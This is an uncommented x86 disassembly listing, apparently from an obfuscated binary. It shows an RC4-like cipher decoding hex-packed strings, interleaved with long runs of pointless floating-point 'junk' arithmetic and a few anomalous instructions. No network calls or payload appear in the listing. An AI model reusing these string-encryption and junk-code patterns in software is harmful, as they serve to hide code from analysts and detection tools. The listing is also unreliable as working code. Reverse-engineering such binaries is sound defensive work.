mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x32d8]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp - 0x32d9]
add eax, edx
mov byte [ebp - 0x32d9], al
movzx ecx, byte [ebp - 0x32da]
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp + edx - 0x56a0]
movzx edx, byte [ebp - 0x326d]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x56a0]
xor ecx, eax
movzx edx, byte [ebp - 0x3281]
movzx eax, byte [ebp + edx - 0x56a0]
movzx edx, byte [ebp - 0x329d]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
movzx edx, byte [ebp - 0x32d9]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x56a0]
movzx edx, byte [ebp + eax - 0x56a0]
xor ecx, edx
mov byte [ebp - 0x3281], cl
mov al, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], al
movsd xmm0, qword [0xa66fc0]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [0xa66ea0]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [0xa66c38]
movsd qword [ebp - 0x45d0], xmm0
movsd xmm0, qword [0xa66980]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3a60]
subsd xmm0, qword [ebp - 0x3b7c]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3a60]
mulsd xmm0, qword [ebp - 0x3b7c]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3a60]
mulsd xmm0, qword [ebp - 0x3b7c]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3808]
subsd xmm0, qword [ebp - 0x3b7c]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x3a60]
comisd xmm0, xmmword [ebp - 0x3b7c]
jbe 0x43f6fe
movsd xmm0, qword [ebp - 0x3808]
subsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
mulsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
mulsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3808]
subsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
mov cl, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], cl
jmp 0x43f9ca
movsd xmm0, qword [ebp - 0x3808]
addsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
addsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
addsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3a60]
mulsd xmm0, qword [ebp - 0x45d0]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
divsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
subsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3808]
mulsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x3808]
mulsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x3a60]
comisd xmm0, xmmword [ebp - 0x3b7c]
jbe 0x43f96a
movsd xmm0, qword [ebp - 0x3a60]
subsd xmm0, qword [ebp - 0x3b7c]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3808]
mulsd xmm0, qword [ebp - 0x45d0]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x45d0]
subsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x45d0], xmm0
movsd xmm0, qword [ebp - 0x3a60]
divsd xmm0, qword [ebp - 0x3b7c]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3a60]
subsd xmm0, qword [ebp - 0x3b7c]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3808]
mulsd xmm0, qword [ebp - 0x45d0]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
divsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x45d0]
divsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x45d0], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
comisd xmm0, xmmword [ebp - 0x3a60]
jbe 0x43f908
movsd xmm0, qword [ebp - 0x3a60]
subsd xmm0, qword [ebp - 0x45d0]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3808]
mulsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
addsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3808]
subsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
jmp 0x43f968
movsd xmm0, qword [ebp - 0x3b7c]
divsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3b7c]
subsd xmm0, qword [ebp - 0x3808]
movsd qword [ebp - 0x3b7c], xmm0
movsd xmm0, qword [ebp - 0x3a60]
divsd xmm0, qword [ebp - 0x45d0]
movsd qword [ebp - 0x3a60], xmm0
movsd xmm0, qword [ebp - 0x3808]
mulsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
jmp 0x43f9ca
movsd xmm0, qword [ebp - 0x3808]
addsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x3808]
addsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
movsd xmm0, qword [ebp - 0x45d0]
mulsd xmm0, qword [ebp - 0x3b7c]
movsd qword [ebp - 0x45d0], xmm0
movsd xmm0, qword [ebp - 0x3808]
mulsd xmm0, qword [ebp - 0x3a60]
movsd qword [ebp - 0x3808], xmm0
cmp dword [ebp - 0x337c], 0
jle 0x43f9e6
movsx dx, byte [ebp - 0x3326]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0x4e], dx
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x337c], ecx
mov edx, dword [ebp - 0x356c]
add edx, 1
mov dword [ebp - 0x356c], edx
mov eax, dword [ebp - 0x337c]
shl eax, 1
mov dword [ebp - 0x38cc], eax
mov ecx, dword [ebp - 0x38d0]
add ecx, dword [ebp - 0x38cc]
movzx edx, byte [ecx]
mov dword [ebp - 0x37ec], edx
mov dword [ebp - 0x37f0], 0x67
mov eax, dword [ebp - 0x337c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x38d4], ecx
mov edx, dword [ebp - 0x38d0]
add edx, dword [ebp - 0x38d4]
movzx eax, byte [edx]
mov dword [ebp - 0x37f4], eax
mov dword [ebp - 0x37f8], 0x23
mov ecx, dword [ebp - 0x37ec]
sub ecx, dword [ebp - 0x37f0]
mov dword [ebp - 0x37fc], ecx
mov edx, dword [ebp - 0x37f4]
sub edx, dword [ebp - 0x37f8]
mov dword [ebp - 0x3800], edx
mov eax, dword [ebp - 0x37fc]
shl eax, 4
mov dword [ebp - 0x38d8], eax
mov ecx, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], ecx
mov edx, dword [ebp - 0x38d8]
or edx, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], edx
mov al, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], al
movzx ecx, byte [ebp - 0x329d]
mov dl, byte [ebp + ecx - 0x56a0]
mov byte [ebp - 0x32d8], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx edx, byte [ebp - 0x3280]
add edx, ecx
mov byte [ebp - 0x3280], dl
mov al, byte [ebp - 0x326d]
add al, 1
mov byte [ebp - 0x326d], al
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp - 0x329d]
mov al, byte [ebp + ecx - 0x56a0]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x3281]
movzx edx, byte [ebp - 0x3280]
mov al, byte [ebp + ecx - 0x56a0]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp - 0x3281]
mov al, byte [ebp + ecx - 0x56a0]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x326d]
mov dl, byte [ebp - 0x32d8]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x32d8]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx edx, byte [ebp - 0x32d9]
add edx, ecx
mov byte [ebp - 0x32d9], dl
movzx eax, byte [ebp - 0x32da]
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx ecx, byte [ebp - 0x326d]
movzx ecx, byte [ebp + ecx - 0x56a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x56a0]
xor eax, edx
movzx ecx, byte [ebp - 0x3281]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx ecx, byte [ebp - 0x329d]
movzx ecx, byte [ebp + ecx - 0x56a0]
add edx, ecx
movzx ecx, byte [ebp - 0x32d9]
movzx ecx, byte [ebp + ecx - 0x56a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x56a0]
movzx ecx, byte [ebp + edx - 0x56a0]
xor eax, ecx
mov byte [ebp - 0x3281], al
mov dl, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], dl
mov al, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], al
cmp dword [ebp - 0x337c], 0
jle 0x43fc3d
movsx cx, byte [ebp - 0x3326]
mov edx, dword [ebp - 0x337c]
mov word [ebp + edx*2 - 0x4e], cx
mov eax, dword [ebp - 0x356c]
add eax, 1
mov dword [ebp - 0x356c], eax
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x4c2c], ecx
jmp 0x43fc6c
mov edx, dword [ebp - 0x4c2c]
add edx, 1
mov dword [ebp - 0x4c2c], edx
mov eax, dword [ebp - 0x4c2c]
cmp eax, dword [ebp - 0x356c]
jge 0x4401c7
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x337c], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x38cc], edx
mov eax, dword [ebp - 0x38d0]
add eax, dword [ebp - 0x38cc]
movzx ecx, byte [eax]
mov dword [ebp - 0x37ec], ecx
mov dword [ebp - 0x37f0], 0x67
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x38d4], eax
mov ecx, dword [ebp - 0x38d0]
add ecx, dword [ebp - 0x38d4]
movzx edx, byte [ecx]
mov dword [ebp - 0x37f4], edx
mov dword [ebp - 0x37f8], 0x23
mov eax, dword [ebp - 0x37ec]
sub eax, dword [ebp - 0x37f0]
mov dword [ebp - 0x37fc], eax
mov ecx, dword [ebp - 0x37f4]
sub ecx, dword [ebp - 0x37f8]
mov dword [ebp - 0x3800], ecx
mov edx, dword [ebp - 0x37fc]
shl edx, 4
mov dword [ebp - 0x38d8], edx
mov eax, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], eax
mov ecx, dword [ebp - 0x38d8]
or ecx, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], ecx
mov dl, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], dl
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + eax - 0x56a0]
mov byte [ebp - 0x32d8], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp + edx - 0x56a0]
movzx ecx, byte [ebp - 0x3280]
add ecx, eax
mov byte [ebp - 0x3280], cl
mov dl, byte [ebp - 0x326d]
add dl, 1
mov byte [ebp - 0x326d], dl
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp - 0x329d]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x3281]
movzx ecx, byte [ebp - 0x3280]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp - 0x3281]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x326d]
mov cl, byte [ebp - 0x32d8]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x32d8]
movzx eax, byte [ebp + edx - 0x56a0]
movzx ecx, byte [ebp - 0x32d9]
add ecx, eax
mov byte [ebp - 0x32d9], cl
movzx edx, byte [ebp - 0x32da]
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx eax, byte [ebp - 0x326d]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x56a0]
xor edx, ecx
movzx eax, byte [ebp - 0x3281]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx eax, byte [ebp - 0x329d]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
movzx eax, byte [ebp - 0x32d9]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp + ecx - 0x56a0]
xor edx, eax
mov byte [ebp - 0x3281], dl
mov cl, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], cl
movsd xmm0, qword [0xa66f20]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [0xa66d08]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [0xa66a08]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3d60]
subsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [ebp - 0x3a08]
addsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3d60]
mulsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [ebp - 0x3e20]
comisd xmm0, xmmword [ebp - 0x3d60]
jbe 0x440152
movsd xmm0, qword [ebp - 0x3e20]
addsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3e20]
subsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3e20]
addsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3a08]
subsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3e20]
comisd xmm0, xmmword [ebp - 0x3a08]
jbe 0x44001c
movsd xmm0, qword [ebp - 0x3d60]
mulsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [ebp - 0x3d60]
subsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [ebp - 0x3a08]
divsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3a08], xmm0
jmp 0x440150
movsd xmm0, qword [ebp - 0x3d60]
mulsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [ebp - 0x3a08]
divsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3e20]
divsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3d60]
subsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3e20]
addsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3a08]
comisd xmm0, xmmword [ebp - 0x3d60]
jbe 0x440108
movsd xmm0, qword [ebp - 0x3a08]
subsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3e20]
addsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3e20]
divsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3e20], xmm0
jmp 0x440150
movsd xmm0, qword [ebp - 0x3a08]
divsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
subsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3a08], xmm0
movsd xmm0, qword [ebp - 0x3a08]
subsd xmm0, qword [ebp - 0x3d60]
movsd qword [ebp - 0x3a08], xmm0
jmp 0x4401a6
movsd xmm0, qword [ebp - 0x3d60]
subsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [ebp - 0x3d60]
addsd xmm0, qword [ebp - 0x3a08]
movsd qword [ebp - 0x3d60], xmm0
movsd xmm0, qword [ebp - 0x3a08]
mulsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3a08], xmm0
mov dl, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], dl
cmp dword [ebp - 0x337c], 0
jle 0x4401c2
movsx ax, byte [ebp - 0x3326]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0x4e], ax
jmp 0x43fc5d
mov edx, dword [ebp - 0x356c]
add edx, 1
mov dword [ebp - 0x356c], edx
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x337c], eax
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x38cc], edx
mov eax, dword [ebp - 0x38d0]
add eax, dword [ebp - 0x38cc]
movzx ecx, byte [eax]
mov dword [ebp - 0x37ec], ecx
mov dword [ebp - 0x37f0], 0x67
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x38d4], eax
mov ecx, dword [ebp - 0x38d0]
add ecx, dword [ebp - 0x38d4]
movzx edx, byte [ecx]
mov dword [ebp - 0x37f4], edx
mov dword [ebp - 0x37f8], 0x23
mov eax, dword [ebp - 0x37ec]
sub eax, dword [ebp - 0x37f0]
mov dword [ebp - 0x37fc], eax
mov ecx, dword [ebp - 0x37f4]
sub ecx, dword [ebp - 0x37f8]
mov dword [ebp - 0x3800], ecx
mov edx, dword [ebp - 0x37fc]
shl edx, 4
mov dword [ebp - 0x38d8], edx
mov eax, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], eax
mov ecx, dword [ebp - 0x38d8]
or ecx, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], ecx
mov dl, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], dl
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + eax - 0x56a0]
mov byte [ebp - 0x32d8], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp + edx - 0x56a0]
movzx ecx, byte [ebp - 0x3280]
add ecx, eax
mov byte [ebp - 0x3280], cl
mov dl, byte [ebp - 0x326d]
add dl, 1
mov byte [ebp - 0x326d], dl
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp - 0x329d]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x3281]
movzx ecx, byte [ebp - 0x3280]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x326d]
movzx ecx, byte [ebp - 0x3281]
mov dl, byte [ebp + eax - 0x56a0]
mov byte [ebp + ecx - 0x56a0], dl
movzx eax, byte [ebp - 0x326d]
mov cl, byte [ebp - 0x32d8]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x32d8]
movzx eax, byte [ebp + edx - 0x56a0]
movzx ecx, byte [ebp - 0x32d9]
add ecx, eax
mov byte [ebp - 0x32d9], cl
movzx edx, byte [ebp - 0x32da]
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx eax, byte [ebp - 0x326d]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x56a0]
xor edx, ecx
movzx eax, byte [ebp - 0x3281]
movzx ecx, byte [ebp + eax - 0x56a0]
movzx eax, byte [ebp - 0x329d]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
movzx eax, byte [ebp - 0x32d9]
movzx eax, byte [ebp + eax - 0x56a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp + ecx - 0x56a0]
xor edx, eax
mov byte [ebp - 0x3281], dl
mov cl, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], cl
mov dl, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], dl
cmp dword [ebp - 0x337c], 0
jle 0x44042e
movsx ax, byte [ebp - 0x3326]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0x4e], ax
mov edx, dword [ebp - 0x337c]
add edx, 1
mov dword [ebp - 0x337c], edx
mov eax, dword [ebp - 0x356c]
add eax, 1
mov dword [ebp - 0x356c], eax
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x38cc], ecx
mov edx, dword [ebp - 0x38d0]
add edx, dword [ebp - 0x38cc]
movzx eax, byte [edx]
mov dword [ebp - 0x37ec], eax
mov dword [ebp - 0x37f0], 0x67
mov ecx, dword [ebp - 0x337c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x38d4], edx
mov eax, dword [ebp - 0x38d0]
add eax, dword [ebp - 0x38d4]
movzx ecx, byte [eax]
mov dword [ebp - 0x37f4], ecx
mov dword [ebp - 0x37f8], 0x23
mov edx, dword [ebp - 0x37ec]
sub edx, dword [ebp - 0x37f0]
mov dword [ebp - 0x37fc], edx
mov eax, dword [ebp - 0x37f4]
sub eax, dword [ebp - 0x37f8]
mov dword [ebp - 0x3800], eax
mov ecx, dword [ebp - 0x37fc]
shl ecx, 4
mov dword [ebp - 0x38d8], ecx
mov edx, dword [ebp - 0x3800]
mov dword [ebp - 0x38dc], edx
mov eax, dword [ebp - 0x38d8]
or eax, dword [ebp - 0x38dc]
mov dword [ebp - 0x38e0], eax
mov cl, byte [ebp - 0x38e0]
mov byte [ebp - 0x32da], cl
movzx edx, byte [ebp - 0x329d]
mov al, byte [ebp + edx - 0x56a0]
mov byte [ebp - 0x32d8], al
movzx ecx, byte [ebp - 0x326d]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp - 0x3280]
add eax, edx
mov byte [ebp - 0x3280], al
mov cl, byte [ebp - 0x326d]
add cl, 1
mov byte [ebp - 0x326d], cl
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x3281]
movzx eax, byte [ebp - 0x3280]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x326d]
movzx eax, byte [ebp - 0x3281]
mov cl, byte [ebp + edx - 0x56a0]
mov byte [ebp + eax - 0x56a0], cl
movzx edx, byte [ebp - 0x326d]
mov al, byte [ebp - 0x32d8]
mov byte [ebp + edx - 0x56a0], al
movzx ecx, byte [ebp - 0x32d8]
movzx edx, byte [ebp + ecx - 0x56a0]
movzx eax, byte [ebp - 0x32d9]
add eax, edx
mov byte [ebp - 0x32d9], al
movzx ecx, byte [ebp - 0x32da]
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp + edx - 0x56a0]
movzx edx, byte [ebp - 0x326d]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x56a0]
xor ecx, eax
movzx edx, byte [ebp - 0x3281]
movzx eax, byte [ebp + edx - 0x56a0]
movzx edx, byte [ebp - 0x329d]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
movzx edx, byte [ebp - 0x32d9]
movzx edx, byte [ebp + edx - 0x56a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x56a0]
movzx edx, byte [ebp + eax - 0x56a0]
xor ecx, edx
mov byte [ebp - 0x3281], cl
mov al, byte [ebp - 0x32da]
mov byte [ebp - 0x329d], al
mov cl, byte [ebp - 0x3281]
mov byte [ebp - 0x3326], cl
cmp dword [ebp - 0x337c], 0
jle 0x440684
movsx dx, byte [ebp - 0x3326]
mov eax, dword [ebp - 0x337c]
mov word [ebp + eax*2 - 0x4e], dx
mov ecx, 2
shl ecx, 3
mov dword [ebp - 0x5388], ecx
cmp dword [ebp - 0x5388], 0x12
jae 0x44069d
jmp 0x4406a2
call fcn.009ea777
xor edx, edx
mov eax, dword [ebp - 0x5388]
mov word [ebp + eax - 0x4c], dx
jmp 0x440702
mov dword [ebp - 0x49c4], 0
jmp 0x4406cc
mov ecx, dword [ebp - 0x49c4]
add ecx, 1
mov dword [ebp - 0x49c4], ecx
cmp dword [ebp - 0x49c4], 9
jge 0x440702
mov edx, dword [ebp - 0x49c4]
shl edx, 1
mov dword [ebp - 0x5384], edx
cmp dword [ebp - 0x5384], 0x12
jae 0x4406ee
jmp 0x4406f3
call fcn.009ea777
xor eax, eax
mov ecx, dword [ebp - 0x5384]
mov word [ebp + ecx - 0x4c], ax
jmp 0x4406bd
movzx edx, byte [ebp + 0xc]
test edx, edx
je 0x44bee2
mov dword [ebp - 0x322c], 0
mov dword [ebp - 0x3220], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47d4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45d8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45d8], xmm0
jmp 0x44075d
movsd xmm0, qword [ebp - 0x45d8]
addsd xmm0, qword [0xa66360]
movsd qword [ebp - 0x45d8], xmm0
movsd xmm0, qword [0xa668d8]
comisd xmm0, xmmword [ebp - 0x45d8]
jbe 0x44080e
movsd xmm0, qword [0xa66660]
mulsd xmm0, qword [ebp - 0x45d8]
mulsd xmm0, qword [ebp - 0x45d8]
movsd xmm1, qword [ebp - 0x45d8]
mulsd xmm1, qword [ebp - 0x45d8]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66398]
mulsd xmm1, qword [ebp - 0x45d8]
mulsd xmm1, qword [ebp - 0x45d8]
addsd xmm1, qword [0xa66458]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47d4]
movsd qword [ebp - 0x47d4], xmm0
movsd xmm0, qword [ebp - 0x47d4]
adc byte [ebp - 0x47d4], al
comisd xmm0, xmmword [0xa66570]
jbe 0x440809
movsd xmm0, qword [0xa66338]
mulsd xmm0, qword [ebp - 0x45d8]
movsd xmm1, qword [ebp - 0x47d4]
subsd xmm1, xmm0
movsd qword [ebp - 0x47d4], xmm1
jmp 0x440745
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47d4]
jbe 0x4408c2
fbstp tbyte [ebp - 0x4c19531e]
jmp 0x4407d5
mov dword [ebp - 0x322c], 0x44081f
mov dword [ebp - 0x3220], 0x4408a7
mov eax, dword [ebp - 0x322c]
mov dword [ebp - 0x36d4], eax
mov ecx, dword [ebp - 0x3220]
mov dword [ebp - 0x633c], ecx
mov byte [ebp - 0x4023], 0x1a
mov dword [ebp - 0x38e4], 0
jmp 0x440910
mov edx, dword [ebp - 0x38e4]
add edx, 1
mov dword [ebp - 0x38e4], edx
cmp dword [ebp - 0x38e4], 0x100
jae 0x440931
mov eax, dword [ebp - 0x38e4]
mov cl, byte [ebp - 0x38e4]
mov byte [ebp + eax - 0x4f7c], cl
jmp 0x440901
mov dword [ebp - 0x44f8], 0
mov byte [ebp - 0x3354], 0
mov dword [ebp - 0x38e4], 0xff
jmp 0x44095d
mov edx, dword [ebp - 0x38e4]
sub edx, 1
mov dword [ebp - 0x38e4], edx
cmp dword [ebp - 0x38e4], 0
